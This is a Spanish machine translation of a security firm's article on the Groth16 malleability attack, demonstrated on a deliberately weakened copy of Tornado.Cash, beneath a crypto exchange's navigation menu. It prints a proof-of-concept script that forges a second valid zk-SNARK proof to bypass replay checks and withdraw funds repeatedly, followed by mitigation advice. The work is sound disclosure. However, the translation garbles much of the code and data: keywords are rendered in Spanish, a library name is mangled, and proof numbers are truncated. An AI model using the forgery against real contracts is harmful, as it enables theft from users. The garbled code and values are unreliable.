Básico
Spot
Opera con criptomonedas libremente
Margen
Multiplica tus beneficios con el apalancamiento
Convertir e Inversión automática
0 Fees
Opera cualquier volumen sin tarifas ni deslizamiento
ETF
Obtén exposición a posiciones apalancadas de forma sencilla
Trading premercado
Opera nuevos tokens antes de su listado
Contrato
Accede a cientos de contratos perpetuos
TradFi
Oro
Plataforma global de activos tradicionales
Opciones
Hot
Opera con opciones estándar al estilo europeo
Cuenta unificada
Maximiza la eficacia de tu capital
Trading de prueba
Introducción al trading de futuros
Prepárate para operar con futuros
Eventos de futuros
Únete a eventos para ganar recompensas
Trading de prueba
Usa fondos virtuales para probar el trading sin asumir riesgos
Lanzamiento
CandyDrop
Acumula golosinas para ganar airdrops
Launchpool
Staking rápido, ¡gana nuevos tokens con potencial!
HODLer Airdrop
Holdea GT y consigue airdrops enormes gratis
Launchpad
Anticípate a los demás en el próximo gran proyecto de tokens
Puntos Alpha
Opera activos on-chain y recibe airdrops
Puntos de futuros
Gana puntos de futuros y reclama recompensas de airdrop
Inversión
Simple Earn
Genera intereses con los tokens inactivos
Inversión automática
Invierte automáticamente de forma regular
Inversión dual
Aprovecha la volatilidad del mercado
Staking flexible
Gana recompensas con el staking flexible
Préstamo de criptomonedas
0 Fees
Usa tu cripto como garantía y pide otra en préstamo
Centro de préstamos
Centro de préstamos integral
Centro de patrimonio VIP
Planes de aumento patrimonial prémium
Gestión patrimonial privada
Asignación de activos prémium
Quant Fund
Estrategias cuantitativas de alto nivel
Staking
Haz staking de criptomonedas para ganar en productos PoS
Apalancamiento inteligente
New
Apalancamiento sin liquidación
Acuñación de GUSD
Acuña GUSD y gana rentabilidad de RWA
Tomando Tornado.Cash como ejemplo para revelar el ataque de escalabilidad de los proyectos zkp
Autor de este artículo: Beosin expertos en investigación de seguridad Saya & Bryce
En el artículo anterior, explicamos la vulnerabilidad de maleabilidad en el propio sistema de prueba Groth16 desde la perspectiva de los principios. En este artículo, tomaremos el proyecto Tornado.Cash como ejemplo, modificaremos algunos de sus circuitos y códigos, e introduciremos la maleabilidad. proceso de ataque y espero que otras partes del proyecto zkp también presten atención a las medidas preventivas correspondientes en el proyecto.
Entre ellos, Tornado.Cash utiliza la biblioteca snarkjs para el desarrollo, que también se basa en el siguiente proceso de desarrollo y se presentará directamente más adelante. Si no está familiarizado con la biblioteca, lea el primer artículo de esta serie. (Beosin | Análisis en profundidad de la vulnerabilidad zk-SNARK a prueba de conocimiento cero: ¿Por qué el sistema a prueba de conocimiento cero no es infalible?)
1 Arquitectura Tornado.Cash
El proceso de interacción de Tornado.Cash incluye principalmente 4 entidades:
El Usuario primero realiza las operaciones correspondientes en la página web frontal de Tornado.Cash para activar una transacción de depósito o retiro, y luego el Retransmisor reenvía la solicitud de transacción al contrato Tornado.Cash Proxy en la cadena, y la reenvía al correspondiente Grupo según el monto de la transacción, y finalmente Para procesar depósitos y retiros, la estructura específica es la siguiente:
Como mezclador de divisas, Tornado.Cash tiene dos funciones comerciales específicas:
Luego, el servidor generará dos anuladores y secretos de números aleatorios de 31 bytes, y después de unirlos, realizará la operación pedersenHash para obtener el compromiso y devolverá el anulador+secreto más el prefijo como una nota para el usuario. en la siguiente figura:
Entre ellos, el núcleo de retiro de Tornado.Cash es en realidad probar que existe un cierto compromiso en el árbol de Merkle sin exponer el anulador y el secreto que posee el usuario.La estructura específica del árbol de Merkle es la siguiente:
2 Tornado.Cash Vulnerabilidad Versión
2.1 Modificación mágica de Tornado.Cash
Para el principio de ataque de ductilidad de Groth16 del primer artículo, sabemos que el atacante puede generar múltiples pruebas diferentes utilizando el mismo anulador y secreto.Si el desarrollador no considera el ataque de doble gasto causado por la repetición de la prueba, amenazará la financiación del proyecto. . **Antes de la modificación mágica de Tornado.Cash, este artículo primero presenta el código en el Pool donde Tornado.Cash finalmente maneja el retiro:
/** @dev Retirar un depósito del contrato. La prueba es un dato de prueba de zkSNARK, y la entrada es una matriz de entradas públicas de circuito. La matriz de entrada consta de: - raíz merkle de todos los depósitos en el contrato - hash del anulador de depósito único para evitar gastos dobles - el destinatario de los fondos - tarifa opcional que va al remitente de la transacción (normalmente un repetidor) */ función retirar( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= denominación, “La tarifa excede el valor de la transferencia”); require(!nullifierHashes[_nullifierHash], “La nota ya se gastó”); require(isKnownRoot(_root), “No se puede encontrar su raíz merkle”); // Asegúrese de usar uno reciente require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ) , “Prueba de retiro no válida” );
nullifierHashes[_nullifierHash] = verdadero; _processWithdraw(_recipient, _relayer, _fee, _refund); emit Retiro (_recipient, _nullifierHash, _relayer, _fee); }
En la figura anterior, para evitar que los atacantes utilicen la misma prueba para llevar a cabo ataques de doble gasto sin exponer el anulador y el secreto, Tornado.Cash agrega una señal pública nullifierHash al circuito, que se obtiene mediante el hash de Pedersen del anulador. y se puede usar como un parámetro Pasado a la cadena, el contrato de Pool luego usa esta variable para identificar si se ha usado una prueba correcta. Sin embargo, si la parte del proyecto no utiliza el método de modificación del circuito, sino que registra directamente el método de prueba para evitar el doble gasto, después de todo, esto puede reducir las restricciones del circuito y ahorrar costos, pero ¿puede lograr el objetivo?
Para esta conjetura, este artículo eliminará la señal pública nullifierHash recién agregada en el circuito y cambiará la verificación del contrato a verificación de prueba. Dado que Tornado.Cash obtiene todos los eventos de depósito cada vez que se retira, construye un árbol merkle y luego verifica si el valor raíz generado está dentro de los últimos 30, todo el proceso es demasiado problemático, por lo que el circuito de este artículo también eliminará el circuito merkleTree. , Solo queda el circuito central de la parte de extracción, y el circuito específico es el siguiente:
incluir “…/…/…/…/node_modules/circomlib/circuits/bitify.circom”; incluir “…/…/…/…/node_modules/circomlib/circuits/pedersen.circom”;
// calcula Pedersen(nulificador + secreto)plantilla CommitmentHasher() { anulador de entrada de señal; secreto de entrada de señal; compromiso de salida de señal; // señal de salida nullifierHash; // borrar
componente compromisoHasher = Pedersen(496); // componente nullifierHasher = Pedersen(248); componente nullifierBits = Num2Bits(248); componente secretBits = Num2Bits(248);
nullifierBits.in <== anulador; secretBits.in <== secreto; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== bits nullificadores.out [i] ; // eliminar compromisoHasher.in [i] <== bits nullificadores.out [i] ; compromisoHasher.in[i + 248] <== secretBits.out [i] ; }
compromiso <== compromisoHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ; // borrar}
// Verifica que el compromiso que corresponde al secreto dado y al anulador está incluido en el compromiso de salida de la señal del árbol Merkle de depósitos; receptor de entrada de señal; // no participar en ningún relé de entrada de señal de cómputo; // no participar en ningún cómputo tarifa de entrada de señal; // no participar en ningún reembolso de entrada de señal de cómputo; // no participar en ningún cómputo anulador de entrada de señal; secreto de entrada de señal; componente hasher = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== secreto; compromiso <== hasher.compromiso;
// Agrega señales ocultas para asegurarte de que manipular el destinatario o la tarifa invalidará la prueba de snark // Lo más probable es que no sea necesario, pero es mejor estar seguro y solo se necesitan 2 restricciones // Los cuadrados se usan para prevenir optimizador de la eliminación de esas limitaciones de la señal de receiverSquare; tarifa de señalCuadrado; repetidor de señalCuadrado; señal refundSquare;
destinatarioCuadrado <== destinatario * destinatario; feeSquare <== fee * fee; repetidorCuadrado <== repetidor * repetidor; refundSquare <== reembolso * reembolso;
}
componente principal = Retirar (20);
Nota: durante el experimento encontramos que TornadoCash en la última versión del código en GitHub (el circuito de retiro carece de una señal de salida y necesita una corrección manual para funcionar correctamente.
De acuerdo con el circuito modificado anterior, use la biblioteca snarkjs, etc. para seguir el proceso de desarrollo dado al principio de este artículo paso a paso, y genere la siguiente prueba normal, que se registra como prueba1:
La prueba: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 1102956704503334056654836789330 1n ], pi_b: [ 183878046002081n 8088104569927474555610665242983621221932062943927262293572649061565902268616n 11988096155965376840166464829609545491502209803154186n 1037520490 2125491773178253544576299821079735144068419595539416984653646546215n, 1n ], protocolo: ‘groth16’, curva: ‘bn128’}
2.2 Verificación experimental
2.2.1 Prueba de verificación: contrato por defecto generado por circom
En primer lugar, utilizamos el contrato predeterminado generado por circom para la verificación. Dado que el contrato no registra ninguna información relacionada con la prueba que se haya utilizado, el atacante puede reproducir la prueba 1 varias veces para provocar un ataque de doble gasto. En los siguientes experimentos, la prueba se puede repetir infinitamente para la misma entrada del mismo circuito, y todos ellos pueden pasar la verificación.
La siguiente figura es una captura de pantalla del experimento que utiliza la prueba 1 para demostrar que la verificación ha pasado en el contrato predeterminado, incluidos los parámetros de prueba A, B y C utilizados en el artículo anterior y el resultado final:
La siguiente figura es el resultado de usar la misma prueba1 para llamar a la función verificarProof varias veces para la verificación de prueba. El experimento encontró que para la misma entrada, sin importar cuántas veces el atacante use prueba1 para la verificación, puede pasar:
Por supuesto, probamos en la biblioteca de código js original de snarkjs, y no impedimos la prueba que se ha utilizado. Los resultados experimentales son los siguientes:
2.2.2 Prueba de Verificación — Contrato Ordinario Antirrepetición
Para la vulnerabilidad de reproducción en el contrato predeterminado generado por circom, este artículo registra un valor en la prueba correcta (prueba 1) que se ha utilizado para evitar ataques de reproducción utilizando la prueba verificada, como se muestra en la siguiente figura:
Continúe usando la prueba 1 para la verificación. El experimento descubrió que al usar la misma prueba para la verificación secundaria, la reversión de la transacción informó un error: “El billete ya se gastó”, y el resultado se muestra en la figura a continuación:
Sin embargo, Aunque en este momento se ha logrado el propósito de prevenir los ataques de repetición de prueba ordinarios, el algoritmo groth16 tiene un problema de vulnerabilidad de ductilidad que se introdujo anteriormente, y esta medida preventiva aún se puede eludir. Entonces, construimos el PoC en la figura a continuación y generamos un certificado zk-SNARK falso para la misma entrada de acuerdo con el algoritmo del primer artículo. El experimento descubrió que aún puede pasar la verificación. El código PoC para generar la prueba falsificada proof2 es el siguiente:
importar WasmCurve desde “/Users/saya/node_modules/ffjava/src/wasm_curve.js” importar ZqField desde “/Users/saya/node_modules/ffjava/src/f1field.js” importar groth16FullProve desde "/Users /saya/node_modules/snarkjs/src/groth16_fullprove.js"importar groth16Verify desde “/Users/saya/node_modules/snarkjs/src/groth16_verify.js”;importar * como curvas desde “/Users /saya/node_modules/snarkjs/src/curves.js”;importar fs desde “fs”;importar {utils} desde “ffjava”;const {unstringifyBigInts} = utils;
groth16_exp(); función asíncrona groth16_exp(){ let inputA = “7”; dejar entradaB = “11”; const SNARK_FIELD_SIZE = BigInt(‘21888242871839275222246405745257275088548364400416034343698204186575808495617’);
// 2. Lee la cadena y conviértela a int const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync(“proof.json”,“utf8”))); console.log(“La prueba:”,proof ) ;
// Generar un elemento inverso, el elemento inverso generado debe estar en el campo F1 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = Fe( “123456” ) const invX = F.inv(X) console.log(“x:” ,X ) console.log(“invX” ,invX) console.log(“El timesScalar es:”,F.mul(X ,invX) )
// Leer los puntos de la curva elíptica G1, G2 const vKey = JSON.parse(fs.readFileSync(“verification_key.json”,“utf8”)); // console.log(“La curva es:”,vKey) ; const curve = esperar curves.getCurveFromName(vKey.curve);
const G1 = curva.G1; const G2 = curva.G2; const A = G1.fromObject(prueba.pi_a); const B = G2.fromObject(prueba.pi_b); const C = G1.fromObject(prueba.pi_c);
const nuevo_pi_a = G1.timesScalar(A, X); //A’=x*A const nuevo_pi_b = G2.timesScalar(B, invX); //B’=x^{-1}*B
prueba.pi_a = G1.toObject(G1.toAffine(A)); prueba.nuevo_pi_a = G1.toObject(G1.toAffine(nuevo_pi_a)) prueba.nuevo_pi_b = G2.toObject(G2.toAffine(nuevo_pi_b))
// Convertir los puntos G1 y G2 generados en prueba console.log(“prueba.pi_a:”,prueba.pi_a); console.log(“prueba.nueva_pi_a:”,prueba.nueva \ _pi_a) console.log(“prueba.nueva_pi_b:”,prueba.nueva_pi_b)
}
La prueba falsificada generada proof2 se muestra en la siguiente figura:
prueba.pi_a: [ 127312457588856665844440940942625335911548255472545721927606279036884288780352n, 110295670450333405665483678933040 52946457319632960669053932271922876268005970n, 1n]proof.new_pi_a: [ 3268624544870461100664351611568866361125322693726990010349657 497609444389527n, 21156099942559593159790898693162006358905276643480284336017680361717954148668n, 1n]prueba.nueva_pi_b: [ [ 201700493 8108461976377332931028520048391650017861855986117340314722708331101n, 69013169448713854255973662885612669155820950509597907 732021119424946 0400170431279189485965933578983661252776040008442689480757963n], [ 1n, 0n ]]
Al usar este parámetro para volver a llamar a la función verificarProof para la verificación de prueba, el experimento encontró que la verificación de prueba2 pasó nuevamente bajo la misma condición de entrada, de la siguiente manera:
Aunque la prueba de prueba falsificada2 solo se puede usar una vez más, dado que hay un número casi infinito de pruebas falsificadas para la misma entrada, puede hacer que los fondos del contrato se retiren infinitamente.
Este artículo también usa el código js de la biblioteca circom para probar, y los resultados experimentales proof1 y fake proof2 pueden pasar la verificación:
2.2.3 Prueba de Verificación — Contrato Tornado.Cash Replay
Después de tantos fracasos, ¿no hay forma de hacerlo de una vez por todas? Aquí, de acuerdo con la práctica de Tornado.Cash de verificar si se ha utilizado la entrada original, este artículo continúa modificando el código del contrato de la siguiente manera:
Cabe señalar que, para demostrar las medidas simples para prevenir el ataque maleable del algoritmo groth16, **este documento adopta el método de registrar directamente la entrada del circuito original, pero esto no se ajusta al principio de privacidad de prueba de conocimiento cero, y la entrada del circuito debe mantenerse confidencial. **Por ejemplo, la entrada en Tornado.Cash es totalmente privada y se debe agregar una nueva entrada pública para identificar una Prueba. En este documento, dado que no hay un nuevo logotipo en el circuito, la privacidad es relativamente pobre en comparación con Tornado.Cash. Solo se usa como una demostración experimental para mostrar los resultados de la siguiente manera:
Se puede encontrar que la prueba que usa la misma entrada en la figura anterior solo puede pasar la prueba 1 por primera vez, y luego ni la prueba 1 ni la prueba falsificada 2 pueden pasar la verificación.
3 Resumen y recomendaciones
Este documento verifica principalmente la autenticidad y el daño de la vulnerabilidad de reproducción mediante la modificación del circuito de TornadoCash y el uso del contrato predeterminado generado por Circom, que comúnmente usan los desarrolladores, y además verifica que las medidas comunes utilizadas a nivel de contrato pueden proteger contra la reproducción. vulnerabilidad, pero no puede prevenirlo El ataque de ductilidad de Groth16, en este sentido, recomendamos que los proyectos de prueba de conocimiento cero presten atención a lo siguiente durante el desarrollo del proyecto:
A diferencia de las DApps tradicionales que utilizan datos únicos como direcciones para generar datos de nodos, los proyectos zkp suelen utilizar una combinación de números aleatorios para generar nodos de árbol de Merkle. Es necesario prestar atención a si la lógica empresarial permite la inserción de nodos con la misma valor. Porque los mismos datos del nodo de hoja pueden hacer que algunos fondos de usuario se bloqueen en el contrato, o los mismos datos del nodo de hoja tienen varias pruebas de Merkle que confunden la lógica comercial.
El proyecto zkp generalmente usa mapeo para registrar la prueba utilizada para evitar ataques de doble gasto. Cabe señalar que al desarrollar con Groth16, debido a la existencia de ataques de ductilidad, se deben utilizar los datos originales del nodo para el registro, en lugar de solo la identificación de datos relacionados con la prueba.
Los circuitos complejos pueden tener problemas como la incertidumbre del circuito y la falta de restricciones, las condiciones de verificación del contrato están incompletas y existen lagunas en la lógica de implementación. Recomendamos encarecidamente que la parte del proyecto busque una empresa de auditoría de seguridad que tenga cierta investigación sobre circuitos y contratos. cuando se lanza el proyecto Llevar a cabo una auditoría exhaustiva para garantizar la seguridad del proyecto tanto como sea posible.